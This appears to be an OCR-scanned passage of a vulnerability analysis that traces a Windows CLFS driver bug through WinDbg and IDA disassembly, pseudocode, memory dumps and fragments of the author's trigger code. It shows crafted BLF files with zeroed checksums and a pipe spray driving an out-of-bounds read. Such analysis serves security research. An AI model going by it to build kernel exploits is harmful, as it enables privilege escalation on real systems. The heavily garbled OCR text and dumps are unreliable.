CClfsBaseFilePersisted::ExtendMetadataBlock+410 xor r8d, r8d ; unsigned __int8
CClfsBaseFilePersisted::ExtendMetadataBlock+413 mov rcx, rdi; this
CClfsBaseFilePersisted::ExtendMetadataBlock+416 call CCIfsBaseFilePersisted::WriteMetadataBlock

CClfsBaseFilePersisted::ExtendMetadataBlock+3AB mov rsj, [rsp+0B8h+_CLFS_CONTROL_RECORD]
CClfsBaseFilePersisted::ExtendMetadataBlock+3BO0 read rbx, [rsi+_CLFS_CONTROL RECORD.iFlushBlock]
CClfsBaseFilePersisted::ExtendMetadataBlock+3B4 read r13, [rsi+18h]
CClIfsBaseFilePersisted::ExtendMetadataBlock+3B8 movzx r9d, [rbx+(_CLFS_CONTROL_RECORD.iFlushBlock-1Ah)

CClfsBaseFilePersisted::ExtendMetadataBlock+1A4 read rdx, [rsp+0B8h+_CLFS_CONTROL_RECORD]
CClIfsBaseFilePersisted::ExtendMetadataBlock+1A9 call CClfsBaseFile::GetControlRecord

A couple of lines before, CClfsBaseFile::GetControlRecord was called to retrieve the address of BLOCK 0,
maybe the problem is here, so I'll reboot and put a breakpoint on it.

GetControlRecord calls CClfsBaseFile::AcquireMetadataBlock who should fill the m_rgBlocks table with
the address of block 0, when | step over this function gets the address of block 1, so, the problem occurs
inside CCIfsBaseFile::AcquireMetadataBlock.

By adding Ox8A to the address retrieved, | can confirm that the 0x13 value that belongs to BLOCK 1 is
present.

LALNLIE  FIUUULES ... UK

WINDBG>dps rax
ffffdea3’ 85690268 GOOBOOO DOBODALE
FFffdens’ 85690270 00ROOOED" 0BEODORD
ffffdess’ 85690a78 ffff978a" 16d935ce
FFFfdens” 85690280 00DOR4G0" 0BODDLBD
ffffdens’ 85690288 0EAOAEE" DEEROEAL
FFFfde03 85690208 FFFf978a" 17fecoan
fFffden3 85690208 0PROOSER" 0BOBTa0E
FFFfden3” 85690220 GEEOOGED" 0REDDEE2
FFffden3” 85690aa8 ffif978a 17fecoon
FFFfdees 85690abe 00003200 00007200
FFffdea3’ 85690abs GEEOREED" 0EEDDEES
FFFfdens” 85690ace FFFF978a" 13ac3bad
ffffdees 85690acs @@00fcen’ 00000200
FFffdees 85690ade 20PE00R0" 00ERRORL
ffffdees 85690ads ffff978a" 13ac3bie
pEG.AL 22" 16d935c0
15 0 91 00 02 00 Ol BO-80 00 00 B0 00 BO 80 B0 ................
pE R 02 B0 0O 0O DO 0O 00 BO-00 0O 00 88 Ff Ff FF Ff ............ s000
FFff978a" 16d935e0 00 0@ 00 0@ ff ff ff £7-70 00 0O 0O 0O 0O 80 0O ....e000p.......
FFFf978a"16d935f@ 00 00 00 02 0O 00 00 0O-00 00 00 0O 00 00 80 80 ................
fFff978a" 16d93600 00 DO 00 00 DO 0O 0O BO-00 0O 00 BB 00 0O 80 88 ................
FFFf978a" 16d93610 00 B0 00 02 0O 00 00 0O-00 00 00 00 00 00 80 80 ................
ffffo78a" 1693620 @@ 00 00 02 0D 00 0O 0O-f5 03 0O 0O 0O 00 @0 80 ........ P
FFFF978a 16493630 A2 A0 0GP 00 00 00 08 89-1c 5F 00 08 f5 ¢l 5 ¢l ......... _..es00
WINDBG

ffffo78a"16d9 13 60 00 00 G0 G0 Ol ©0-20 0D O3 00 00 PO PGB B8 ................
ffff 9385a ©0 60 B2 0O 0D 0D 0D DO-80 OO 00D 0O 0@ PG BB B8  ................

| will reboot and set a breakpoint there:
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@ 00007FF739DFD8F6
@®| 00007FF739DFD8FD
@ BOBB7FF739DFD9 A5
@ 00007FF739DFD96C
@ 00007FF739DFD911
@ 60007FF739DFD916
@ 06807FF739DFD91D
@®| 00007FF739DFD922
@ 60007FF739DFD92A
®| BBBB7FF739DFD92D
@ 00007FF739DFD931
@®| 00007FF739DFD939
@ BBOB7FF739DFD941
L
L
L
&l

000067FF739DFD956
ARARZFF739DFD9A?

48:8B05 038C0400
48:898424 FBOOOOOE
48:8D0D 2C180300
E8 DFO80068
48:63442Y4 58
48:8D0D 93890600
48:635424 58
48:899424 EOOODOOE
45:33C9

4C :8BOACT
48:8D9424 1001000€
48 :8B8424 EOOBOOOE
48 :8B8CCYH 8001000€¢
FF15 890A08300
898424 BOOOOOOO
48:C70425 LOOOOBBS
LR -C7AL?S ARAAARRAS

[P —
mov rax,quord ptr ds:[<void = _ pt
mov quord ptr ss:i[rsp+OxF8],rax
lea rcx,quord ptr ds:[0x7FF739E2F1
call <printf>

movsxd rax,dword ptr ss:[rsp+Bx58]

r64 _ ptrod temp_c

28]

lea rcx,quord ptr ds:[<wchar_t = _ ptré4 * stored_cd

mousxd rdx,dword ptr ss:[rsp+0x58]
mov quword ptr ss:[rsp+OxE0],rdx
xor r9d,r9d

mov r8,quord ptr ds:[rcxsrax=8]
lea rdx,quord ptr ss:[rsp+8x110]
mov rax,quord ptr ss:frsp+8xE@]
mov rcx,quord ptr ss:[rsprrax=8+0x
call quord ptr ds:[<&AddLogContain:
mov dword ptr ss:[rsp:OxB0],eax
mov quord ptr ds:[0:5000040],0x50
mnu nunrd nir ds:TAxSARAARARAT - AxS5A

1807
er’>]

00060
A1AAAR

BBOB7FF739E2F138:"TRIGGER START\n™

CClfsBaseFile::GetControlRecord+27 call CClfsBaseFile::AcquireMetadataBlock

il e =

CClfsBaseFile: :GetControlRecord
CClfsBaseFile: :GetControlRecord
CClfsBaseFile: :GetControlRecord
CClfsBaseFile: :GetControlRecord
CClfsBaseFile::GetControlRecord
CClfsBaseFile: :GetControlRecord
(ClfsBaseFile: :GetControlRecord
CClfsBaseFile: :GetControlRecord
(ClfsBaseFile: :GetControlRecord

; __int64 _ fastcall CClfsBaseFile::GetControlRecord(CClfsBaseFile *__hidden this, st
protected: long CClfsBaseFile::GetControlRecord(struct _CLFS_CONTROL_RECORD * &) proc

var_3@= dword ptr -36h
var_28= dword ptr -28h
var_28= word ptr -26h

CClfsBaseFile: :GetControlRecord arg_@= qword ptr 8
(ClfsBaseFile::GetControlRecord pulResult= dword ptr 16h
CClfsBaseFile arg_10= dword ptr 18h
CClfsBaseFile arg_18= qword ptr 26h
CClfsBaseFile
CClfsBaseFile mov rax, rsp
CClfsBaseFile mov [rax+8], rbx
CClfsBaseFile mov [rax+2@h], rbp
CClfsBaseFile:: push rsi
(C1fsBaseFile push rdi
CClfsBaseFile push risg
(ClfsBaseFile: sub rsp, 4oh
CClfsBaseFile and gword ptr [rdx], @
CClfsBaseFile mov ri4, rdx
CClfsBaseFile and dword ptr [rax+1@h], @
CClfsBaseFile etControlRecord+1E xor edx, edx
CClfsBaseFile::GetControlRecord+2@  and dword ptr [rax+18h], @
CClfsBaseFile: :GetControlRecord+24  mov rbx, rex
GetControlRecord
CClfsBaseFile: :GetControlRecord+2C  mov rlld, eax
CClfsBaseFile etControlRecord+2F test eax, eax
(ClfsBaseFile::GetControlRecord+31  js loc_FFFFF8072566B818
§ I
Pl
CClfsBaseFile::GetControlRecord+37 mov rax, [rbx+3eh]
CClfsBaseFile::GetControlRecord+3B  mov rsi, [rax]
CClfsBaseFile::GetControlRecord+3E  mov ebx, [rax+8]
CClfsBaseFile::GetControlRecord+4l  mov riled, [rsi+28h]
CClfsBaseFile::GetControlRecord+45 lea rbp, [rsit+rie]
CClfsBaseFile::GetControlRecord+49  cmp rled, ebx
CClfsBaseFile::GetControlRecord+4C  jnb loc_FFFFF8072566B813

, i

The second argument passed to AcquireMetadataBlock is zero, it corresponds to block 0, it is going to
copy from the file and store its address in m_rgBlocks
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__int64 __fastcall CClfsBaseFile::GetControlRecord(
struct_CClfsBaseFilePersisted *CClfsBaseFilePersisted,
struct _CLFS_CONTROL_RECORD **a2)

{

__int64 result; Rax

int v5; R8D

int v6; ROD

Unsigned Int v7; R11D
PCLFS_METADATA_BLOCK m_rgBlocks; Rax
ULONGLONG ullAlignment; RSI

unsigned int cbimage; EBX

__int64v11; R10

struct _CLFS_CONTROL_RECORD *v12; RBP

unsigned __int64 v14; RDI
ULONG pulResult; [rsp+68h] [rbp+10h] BYREF
Unsigned Int v16; [rsp+70h] [rbp+18h] BYREF

*a2 = 0i64;

pulResult = 0;

v16=0;
result = CClfsBaseFile::AcquireMetadataBlock(CCIfsBaseFilePersisted, 0i64);

In _CLFS_METADATA_BLOCK_TYPE block type enumeration, they have different names than | used, but
they are the same 6 blocks.

enum _CLFS_METADATA_BLOCK_TYPE
{
ClfsMetaBlockControl = 0x0, //CONTROL
// SHADOW CONTROL
//BASE
// SHADOW BASE
//TRUNCATE
//SHADOW TRUNCATE

After checking that the block type is less than the maximum m_cBlocks=6, it saves a reference value to
avoid reading the same block two times.

__int32 __ fastcall CCIfsBaseFile::AcquireMetadataBlock(
struct_CClfsBaseFilePersisted *CClfsBaseFilePersisted,
enum _CLFS_METADATA_BLOCK_TYPE type)

{

__int32v2; R8D
__int64 type__b; RDI

v2=0;
if ( type <"\0' | | type >= CClfsBaseFilePersisted->pCClfsBaseFile.m_cBlocks )
return STATUS_NOT_FOUND;
type_ b = type;
if ( ++*(&CClfsBaseFilePersisted->pCClfsBaseFile.m_rgcBlockReferences->block_0 + type) == 1)
{
v2 = (CClfsBaseFilePersisted->vtable->CClfsBaseFilePersisted_ReadMetadataBlock)(CClfsBaseFilePersisted, type, 0i64);
if(v2<0)
--*(&CClIfsBaseFilePersisted->pCClfsBaseFile.m_rgcBlockReferences->block_0 + type__b);
}
return v2;

}

ReadMetadataBlock is called, the problem of reading block 1 instead of block 0 would be inside this
function.
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if ( type >= CClfsBaseFilePersisted->pCClfsBaseFile.m_cBlocks )

return STATUS_INVALID_PARAMETER;

chlmage = m_rgBIocks[type].Cb|mage; //block size 0 =0x400

chOffset = m_rgBlocks[type].cbOffset; //offset of block 0 =0

If everything is fine, it allocates using cblmage as size and it stores the address in field block 0->
pblmage in m_rgBlocks.

The Ipool command displays the tag and size allocated.

WINDBG>!pool FFFF940BF3F7B5C0O

Pool page ffff940bf3f7b5c0 region is Paged pool

WINDBG>!pool FFFF940BF3F7B5C0O

Pool page ffff940bf3f7b5c0 region is Paged pool

So, | already have the address of pblmage of block 0 stored in m_rgBlocks, so | need to see why it copies
the bytes of block 1 there instead of bytes of block 0.
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| get to a call to CClfsContainer::ReadSector where a pointer to a variable containing pblmage is passed,
to write the bytes.

IsYoungerBlock = CClfsContainer::ReadSector(
CCHsBaseFilePersisted->pCCisContainer,
CClfsBaseFilePersisted-> EventObject0,
0i64,

& pblmage,
cblmage >>9,
&cbOffset);

Notice the changes made in pbimage content when stepping over ReadSector.

WINDBG>db FFFF940BF3F7B5C0+0x8a
ffffo40b'f3f7b64a 04 00 00 00 00 00 01 00-00 00 03 00 00 00 00 00 00

Adding 0x8a to pblmage | can find the value 4 which is correct value, instead of 0x13, so the problem
must occur later.

After calling ClfsDecodeBlock It returns an error 0OXOCO1A000A.
CClifsBaseFilePersisted::ReadMetadataBlock+153 calls to ClfsDecodeBlock

After this error, it adds 1 to the type and calls CClfsBaseFilePersisted::ReadMetadataBlock again but
with type 1 to read block 1.

CClfsBaseFil
CClfsBaseFil

v

CClfsBaseFilePersisted::ReadMetadataBlock+1B7 mov rax, [rdi]
CClfsBaseFilePersisted::ReadMetadataBlock+1BA mov rax, [rax+3]
CClfsBaseFilePersisted: :ReadMetadataBlock+1BE mov rcx, rdi
CC1fsBaseFilePersisted: :ReadMetadataBlock+1C1 call cs:__guard_dispatch_icall fptr

CClfsBaseFilePersisted: :ReadMetadataBlock+1C7 mov rl2d, eax
CClfsBaseFilePersisted::ReadMetadataBlock+1CA xor rled, riled
CClfsBaseFilePersisted::ReadMetadataBlock+1(D test ebx, ebx

CClfsBaseFilePersisted::ReadMetadataBlock+1CF js loc_FFFFF8072565FEDA

(ll =

CClfsBaseFilePersisted::

ReadMetadataBlock+33A

CClfsBaseFilePersisted::ReadMetadataBlock+33A loc_Fi
(ClfsBaseFilePersisted::ReadMetadataBlock+33A test
CClfsBaseFilePersisted::ReadMetadataBlock+33D jns
282,€39) 0002DD47 FFFFF8072565FD47: PAGE:clfs_CClfsBaseFilePersisted::ReadMetadataBlock+lA7 (Synchronized with Pseudocode-A)
ﬁGeneralregisters [ ]
90 00 00 00 §G 0@ 00-00 @0 0@ 8@ ff ff ff ff RAXFFFFF8972565FBA4 Y% CClfsBaseFilePersisted::ReadMetadataBlock I ID
08 060 60 ff ff ff ff-70 60 G0 00 60 0O 00 00 REX 60000000C61A000A b :ii
26 00 00 00 00O 00 0D-00 OO 0D 0O 00 0O 00 @0 AC
00 @0 @0 00 00 00 00-00 0O 00 0O 00 80 00 00 RDX 8608200082008801 ™
@2 @0 00 20 PO 00 00-00 0O 0D VO 00 0O 90 @0 RIF
et x;g e RDI FFFFE46732817000 NT
-ic < < IOPI
7B5C0+0x8a RBP FFFFDF89D622F231 oF
00 00 00 00 0O 01 00-00 00 03 00 00 00 00 00 RSP FFFFDF89D622EC40 4 DF
2@ 82 00 20 0B B0 0O-80 00 0O PO 00 G0 BB @0 RIP FFFFF8872565FD61 & (ClfsBaseFilePersisted::ReadMetadataBlock+1C1 IF
00 90 00 00 00 00 00-00 GO0 0O 00 00 0O 06 00 RE BEEOBOBOBOOOBE0E - TF
2 00 o0 00 00 00 00-00 00 ©P 00 €0 00 00 4 Do EEEFE7RADOA0OOIA L <F
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In CClfsBaseFilePersisted::ReadMetadataBlock It allocates and stores a new pblmage in m_rgBlocks for
block 1.

WINDBG>dps ffffe407'36841710

ffffe407'36841710 ffff940b'f3f7b5c0 //block 0
ffffe407'36841718 00000000'00000400
fffe407'36841720 00000000'00000000
ffffe407'36841728 ffff940b'fle72b80 //block 1
ffffe407'36841730 00000400'00000400
ffffe407'36841738 00000000'00000001.

WINDBG>db ffffo40b'f1e72b80+0x8a
ffff40b'f1e72c0a 13 0000 00 00 00 01 00-00 00 03 00 00 00 00 00 00

Blocks 0 and 1 have different addresses, now if | add 0x8a to the address of block 1 its value is 0x13.

Maybe since block 0 returned an error, it uses block 1 and returns it to GetControlRecord as Control
Block.

As shown before, when it uses 0x13 value instead of 4, it goes outside the bounds of m_rgBlocks and
reads the pipe spray values controlled by me.

WINDBG>dps ffffe407'36841710

ffffe407'36841710 ffff940b'fle72b80 //block 0 = block 1
ffffe407'36841718 00000000'00000400

fffe407'36841720 00000000'00000000

ffffe407'36841728 ffff940b'f1e72b80 //block 1
ffffe407'36841730 00000400'00000400
ffffe407'36841738 00000000'00000001

Then it frees the pblmage from block 0 and it copies the pointer from block 1 to block 0.
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v

CC1fsBas
CC1fsBas

: :ReadMetadataBlock+39€
lock+3

CC1fsBaseFilePersisted: :ReadMetadataBlock+35D0 mov rax, [rditstruct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]
: :ReadMetadataBlock+361 mov rex, [rax+r14*s] ; P
leadMetadataBlock+365 xor edx, edx ; Teg
CC1fsBaseFilePersisted: :ReadMetadataBlock+367 mov r10, cs:__imp_ExFreePoolWithTag
(CC1fsBaseFilePersisted: :ReadMetadataBlock+36E call nt_ExFreePool
leadMetadataBlock+373 mov rax, [rdi+struct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]
eadMetadataBlock+377 xor ried, ried
ReadMetadataBlock+37A mov [rax+r14*8+m_rgBlocks.blockl.anonymous_@.pbImage], r1@
leadMetadataBlock+37E mov esi, ried
ReadMetadataBlock+381 mov [rsp+98h+var_66], rie
eadMetadataBlock+386 lea rdx, ds:e[r13*2]
leadMetadataBlock+38E add rdx, ri3
ReadMetadataBlock+391 mov rex, [rditstruct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]
mov eax, [rcx+rdx*8+m_rgBlocks.blockl.cbImage]
mov [rex+r14*8+m_rgBlocks.blockl.cbImage], eax
mov rex, [rditstruct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]

CC1fsBas
CC1fsBas

CC1fsBaseFilePersisted::
CC1fsBaseFilePersisted::

:ReadMetadataBlock+3A6 I mov

L =g = 7
[rex+r14*8+m_rgBlocks.blockl.anonymous_@.pbImage], rax I

CC1fsBaseFilePersisted::

lock+3AA

leadMetadataBlock+3AD

} // starts at FFFFF8072565FBE6

!

o

CC1fsBaseFilePersisted: :ReadMetadataBl

ock+2AD mov

rax, [rdi+3eh]

CC1fsBaseFilePersisted

eadMetadataBlock+2FE

CC1fsBaseFilePersisted: :ReadMetadataBlock+281 mov [rax+r14*8], rsi loc_
CC1fsBaseFilePersisted: :ReadMetadataBlock+285 jmp loc_FFFFF8872565FFS2| mov
mov
CC1fsBaseFilePersisted::ReadMetadataBlock+307 jmp
Lcaa lePersisted:: lock+3AD ed with RIP)
0o & x

8B 41 30 48 8B E3..D;A(t+H.AGH.
42 28 3B C1 73 POH..... H8.B(;..

It would be necessary to find the value that causes the error 0Ox0CO1A000A inside ClfsDecodeBlock.

Inside ClfsDecodeBlock the checksum of the first block is zero, this is the error 0OxCO1A000A.

1 __int32 _ fastcall ClfsDecodeBlock(

C1fsDecodeBlock+15 sub  rsp, 30h
C1f: lock+19  mov edi, [rexs_CLFS_LOG_BLOCK
ClfsDecodeBlocks1C mov  sil, r9b
ClfsDecodeBlock+1F mov  rldb, réb
ClfsDecodeBlocks22 mov  ebp, edx
ClfsDecodeBlocks24 mov  rbx, rex
ClfsDecodeBlock+27 test  edi, edi
C1fsDecodeBlock+29 iz short loc_FFFFF8057ABO74CA
 J ¥ Pseuds
(C1fsDecodeBlock+76 ic cmp  edi, x
c loc_f : |cifsDecodetlocks2e  jz short loc_FFFFFE0S7ABO74DI  °
IC1fsDecodeBlock+76  test sil, 1en 4
[C1fsDecodeBlocks7a  jz short loc_FFFFFB057ABA7494) :
T 5
' 7
‘ L 8
ClfsDecodeBlockt7C cmp  byte ptr [rex], 0Fh | | [ClfsDecodeBlock+30 and  dword ptr [rextech], @ s
C1fsDecodeBlock+7F b short loc_f agp7494) [ shl  edx, 9 5 unsigned int|
call  CCrc32::ComputeCrc32
C1fsDecodeBlock+3C cmp  edi, eax
C1fsDecodeBlock+3E  jnz  short loc_FFFFF8857AB07407
\ ¥ o
=AY } FEE o
C1fsDecoddplockssl jmp  short loc_| 1| |c
5 §
\ I C1fsDecodeBlock:
—_———
ved \ iy
C1fsDecodeBlock+86 *
FFFFB057ABO7494: c g
rax, [rsps3shearg 20] C1fsDecodeBlock+86 mov  eax, BCG1A008Ah
rob, sil ; unsigned __int8 C1fsDecodeBlock+88 jmp  short loc_FFFFF8OS7ABO74AE
r8b. ridb : unsigned  int8 lone C struct CLFS LOG BLOCK HEADER *. unsigned lone. uns

8,33) 000074€D

: .vext:clfs with

219)

Struct _CLFS_LOG_BLOCK_HEADER *al,
unsigned int a2,

unsigned __int8 a3,

unsigned _ints a4,

unsigned Int *as)

ULONG Checksum; // =di

Ch

{
1F ( Chec

}
el

1->Checksum;

sum = -1)
a1->Checksum = 0;
if ( Checksum == CCre32: :ComputeCre32(8a1->MajorVersion, a2 << 9) )
return ClfsDecodeBlockPrivate(al, a2, ad, ad, 85);
a1->Checksum = Checksun;
se 4f ( (24 & 8x10) == @ || ai->MajorVersion < @xFu )

return ClfsDecodeBlockPrivate(al, a2, a3, a4,

return @xCO1A000A;

5-Why the checksum is equal to zero in blf spray files?
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Before calling to AddLogContainer, opening any spray blf file with a hexadecimal editor, the checksum

was changed to zero.

1% HxD - [C:\Users\Public\9_17766.blf]
&) File Edit Search View Analysis Tools Window Help
2 MCIE AR ~ | Windows (ANSI) /| hex

H 1.4756bIF 3] 2.4756.biF 8] 0_17766.bIF 5] 1_17766.bIf ] 2_17766.bIf

Ry

& 9_17766.bIf

Offsec(h) OO0 O1 02 03 04 05 Os O7 OF 09 04 OB OC OD OE OF Decoded text
Q0000000 15 00 02 00 02 OO0 01 OO Q0 00 OO0 Q000 OO0 Q0 00 ; ..............
Q0000010 02 OO0 00 OO0 OO0 OO0 OO0 OO0 Q0 00 Q0 00 FF FF FPF FEF .. veeenon.n. vy
Q0000020 Q0 OO0 Q0 OO FF FF FF FF 70O 00 Q0 OO0 Q0 00 00 00 FEVip. .. ...
Q0000030 Q0 OO0 Q0 OO0 Q0 OO0 Q0 00 Q0 00 Q0 00 Q0 00 00 00 @ fieeeeearnnnan
Qo000040 QO 00 Q0 QOO0 Q0O OO0 Q0 OO0 Q0 QOO0 Q0O OO0 Q0 OO0 00 00 @ f..ieeevananmnns
Q0000050 Q0 00 Q0 OO0 Q0O OO0 00 OO0 Q0 OO0 Q0 OO0 Q00 00 00 00 @ .Jeiesesmsnnnnns
Q0000080 QO0 OO0 Q0 OO0 Q0 OO0 Q0 OO0 F8 03 00 00 00 00 00 00 @ ceewewasw [ JON
QQOQoOQ70 03 00 Q0 00 Q0Q Q0 Q0 00 1C SF Q00 00 FE CL FS CL v iwennns Bha;
QQQ0QO080 Q1 00 Q0 00 QQ Q0 Q0 00 Q4 00 04 00 Q0 00 Q0 00 @ f..iesesmsnnnnns
Q00000%0 01 OO0 00 OO0 03 OO0 Q0 OO0 Q0 00 Q0 00 02 00 00 00 .. eweceeernnnan
Q00000RAD QO OO OO0 OO0 QO OO0 Q0 00 Q0 00 OO0 00 00 00 00 00 @ feeeeearnnnans
Q00000BO QO OO Q0 OO0 OO0 OO0 Q0 OO0 Q6 OO0 OO0 00 00 00 00 00 . .fieweeeernnnas
Q0oQ0o00oCo Q0 OO0 Q0 OO0 Q0 OO0 Q0 00 Q0 04 Q0 00 00 00 00 00 @ f e e earwnnan
it should have been changed before when it was opened with CreateLogFile.

do
{

--const_10; i

FILE_SHARE_READ, ©, OPEN_ALWAYS, 0):

if (logFile == INVALID_HANDLE_VALUE) {
DWORD error = GetlLastError();

exit(-1);

printf("logFile %x\n", logFile);
store _handles[z] = logFile;

z++;

} while (const_10);

wprint£CCLPWSTRIL"\n[+] Names again = %ls\n", stored_log_arrays[const_10]);
logFile = CreateLogFile(stored_log_arrays[const_l@], GENERIC_READ | GENERIC_WRITE .

printf("Could not create LOGfile3, error: Ox%x\n", (unsigned int)error);

For some reason spray blf files end up after exiting CreateLogFile with checksum of block 0 equal to 0

and return a valid handle, let's see why this happens.
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| stop at CreateLogFile before opening some spray blf file.

4 t=2 0

® Breakpoints

BOBO7FF7EA78D7A3
B0B07FF7EA78D7AB
00007FF7EA7BDTAD
BP0O7FF7EA7BD7B3
B0BB7FF7EA7BD7BA
B0BO7FF7EA78BD7C
B0BB7FF7EA78D7CE
ARAATEETEAZRNTAN

g @R # mE @

9 Memory Map
- FF15 B48BBB388

- u48:8985 85788488
. 48:833D 7D780488 F cmp quord ptr ds:[<veid = _ ptrés _ ptréh logFil

L) Call Stack = S|

of saipt ) Symbols

< Source

- References

¥ Threads

& Handles

£ Trace

75 2a

. FF15 70080300

. B98424 ACOOOOOO
. BB9424 ACOAOOBO
- U4B:8DBD 48198300
- E8 238A8080

RO EFFEEFEE

Tcall gquord ptr ds:[<&CreateLogFile>]

mov quord ptr ds:[<veid = _ ptrés _ ptrés logFil

jne Ox7FF7EA78D7D7

call quord ptr ds:[<&GetLastError>]

mov dword ptr ss:[rsps0xAC],eax
mov edx,dword ptr ss:[rsp+OxzAC]

lea rcx,quord ptr ds:[Bx7FF7EA7BF118]

call <printf>
moan acv BUEEEEEEEE

B0BO7FF7EA7BF118:""Could not create LOGFile3, error:

Note that before calling CreateLogFile, spray files have the correct checksum in block 0 and after
completing the function, the checksum value changes to zero.

Offset (h)

Qoooooaaono
Q0000ala
Qoooooza
Q0000030
Q0000040
Q00000sa0
Qo0000dend
QooooaTao
Q00000gao
Qoooooang
QO0000RAD
Q00000B0
Qooooocao
QOoooaDag
QO0000EQD

00 01 02 03 04 05 06 07 OF 0% QA OB OC

20 00
20 00

ks
01
00
00
00
00
00
01
01
00
00
00
00
00
00

00 01 00 02
20 00 00 00
00 00 00 FF
20 00 00 00
20 00 00 00
20 00 00 00
20 00 00 00
20 00 00 00
20 00 00 00
20 00 00 00
20 00 00 00
20 00 00 00
20 00 00 00
20 00 00 00
J4 00 00 00

00 02
20 00
FF FF
20 00
20 00
20 00
20 00
20 00
20 00
20 00
20 00
20 00
20 00
20 00
J4 00

FF

T0

20 00
20 00
20 00
00 F8 O
00 1C 5
20 00
20 00
20 00
20 06
20 00
20 00
00 01

o0
o0
o0
o0
o0
o0
o0
o0
20 00
20 00
20 00
20 00
J4 00
20 00
20 00

OF Decoded text

oD OF
:f-&a 82 4C C6
OU FF EFF FP LE
00 00 00 00 OC
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00 OC
10 F5 C1 F5 C1
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00

So, | set a breakpoint on CCIfsBaseFile::GetControlRecord, to look inside.

Bx%Zx\n’

WINDBG>db ffffcb82'0594cb40

ffffcb82'0594cb40 15 00 01 00 02 00 01 00-00 00 00 00 cd f9 5f f6

_ //CHECKSUM

After passing CClfsContainer::ReadSector the checksum is not zero.

Before entering to calculate the CRC32, it puts the checksum field to zero in memory to calculate the
CRC, and the result is correct.
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ClfsDecodeBlock+34 shl edx, 9 ; unsigned int
ClfsDecodeBlock+37 call CCrc32::ComputeCrc32
ClfsDecodeBlock+3C cmp edi, eax

ClfsDecodeBlock+3E jnz short loc_FFFFF8057AB074D7

ClfsDecodeBlock+30 and [rcx+_CLFS_LOG_BLOCK_HEADER. Checksum], 0 //zeros it in memory to CHECKSUM

CClfsBaseFilePersisted::0penlmage+36D mov rbx, [rsp+78h+CLFS_CONTROL_RECORD]

CClfsBaseFilePersisted::Openimage+372 cmp [rbx+_CLFS_CONTROL RECORD.eExtendState], r14d

CClfsBaseFilePersisted::0penlmage+376 jz loc_FFFFF8057AB3A3ED

Then it checks the value of eExtendState =2 and it goes to WriteMetadataBlock.

LLITSBaser11erers1stea: (Uupenimage+ssr |rs1t/un], rax
CClfsBaseFilePersisted::OpenImage+363 [rsi+78h], ecx
CClfsBaseFilePersisted: :0OpenImage+366 [rsi+8@h], rsi

CClfsBaseFilePersisted: :OpenImage+36D rbx, [rsp+78h+CLFS CONTROL RECORD
penIm;

[rbx+_CLFS_CONTROL_RECORD.eExtendState ]-0000000000000002

MZE]

(ClfsBaseFilePersisted: :OpenImage+37C
CClfsBaseFilePersisted: :OpenImage+380
CClfsBaseFilePersisted: :OpenImage+383

movzx  ecx, word ptr [rbx+18h]
test X, €X
jz loc_FFFFF8@57AB3A27B

-
Persisted: :OpenImage+372 (Synchronized with RID)

o & x Hﬂ General registers

4n ne 28 ra 72 nag ue o/. [

Here the checksum is still zero in memory, | just need to see when this value is written in the file.

WINDBG>db rbx-70

ffffcb82'0511db40 15 00 01 00 02 00 01 00-00 00 00 00 00 00 00 00 00

It checks some values that are crafted in blf spray file to reach

CClifsBaseFilePersisted::ExtendMetadataBlock.
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iExtendBlock = CLFS_CONTROL_RECORD->iExtendBlock;
if (iExtendBlock )
{

{
iFlushBlock = CLFS_CONTROL_RECORD->iFlushBlock;
if ( iFlushBlock )

{

&& iFlushBlock < 6u
&& iFlushBlock >= iExtendBlock

{

CClfsBaseFilePersisted,
v23->iExtendBlock,
v27);

After a loop to read blocks that have not been read yet, block 0 continues with checksum = 0.

for (i=v3;i<*(this+20);i+=2)
{
EventObject = CClfsBaseFile::AcquireMetadataBlock(this, i);
k 4
if ( EventObject <0)
goto LABEL_50;
}

Arriving at WriteMetadataBlock.
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CC1fsBaseFilePersisted: :ExtendMetadataBlock+408 movix rdd, word ptr [rbx]
T

CClfsBaseFilePersisted: :ExtendMetadataBlock+40C
CClfsBaseFilePersisted: :ExtendMetadataBlock+48C loc FFFFFB@S7AB4FBC4:  ; unsigned int
CClfsBaseFilePersisted: Extena*udataa!ockuoc movix  edx, row

CC1fsBaseFilePersi d: k+41@ xor r8d, r8d ; unsigned _ int8
CClfsBaseFilePersisted: :ExtendMetadataBlock+413 rex, rdi

A4 ITEIET AACTEI JAILTUS : EALEIIWTC LOUGLODAULATION WV 1P SpPTURONTYaI _ow), TeA I ‘

CClfsBaseFilePersisted: :ExtendMetadataBlock+418 [rsp+@B8hsevar_84], eax
CClfsBaseFilePersisted: :ExtendMetadataBlock+41F movix eax, word ptr [rbx]
CClfsBaseFilePersisted: :ExtendMetadataBlock+422 cmp ax, [ri13+e]
CClfsBaseFilePersisted: :ExtendMetadataBlock+427 jnz short loc_FFFFFB8O57AB4FSES

v v

=]

iBaseFilePersisted: :ExtendMetadataBlock+430 CClfsBaseFilePersisted: :ExtendMetadataBlock+429

.BaseHlePersLst:d :Extends 1~'IrM30 loc FFFFF 8E8: CC1fsBaseFilePersisted: :ExtendMetadataBlock+42E

00‘ (209 5492) (1220 1'72) OONDS(I rrmsosvnuacx PAGE:clfs_CClfsBaseFilePersisted: d. Block+41€ ( zed with RIP, Pseudocode-R)

R -N-] x“@ Hex View-1 0 & x || cew
FFFFFBO57AB2F120 5O 30 48 85 D2 74 1E 88 48 POH..... H8.B(;.. RAX FFF
FFFFF8O57AB2F136 14 83 F8 70 72 OF 2B C8 81 ..pr.+3-.8...r. REX FFF
FFFFF8O57AB2F140 48 ©3 C2 C3 CC 33 (@ C3 (C Bl v RCX FFF
FFFFF8057AB2F150 48 8B C4 44 89 48 20 44 89 H....H-D.@.H.P.H ROX 008
FFFFFBO57AB2F160 89 48 @8 53 56 57 41 54 41 -H.SVWATAUAVAWH. | RSI FFF
FFFFFBOS7AB2F170 EC 80 00 00 ©0 4C 8B F1 48 RDI FFF
FFFFF8057AB2F180 89 78 90 48 21 78 98 48 21 RBP FFF
FFFFF8057AB2F190 B2 ©1 48 8B 49 20 4C 8B RSP FFF
FFFFF8057AB2F1A@ EC D3 FB 44 SA EO 88 84 24 RIP FTF
FFFFF8O57AB2F1BG 24 40 48 8D 54 24 50 49 8B CE E8 ES (O 00 00 88 L :
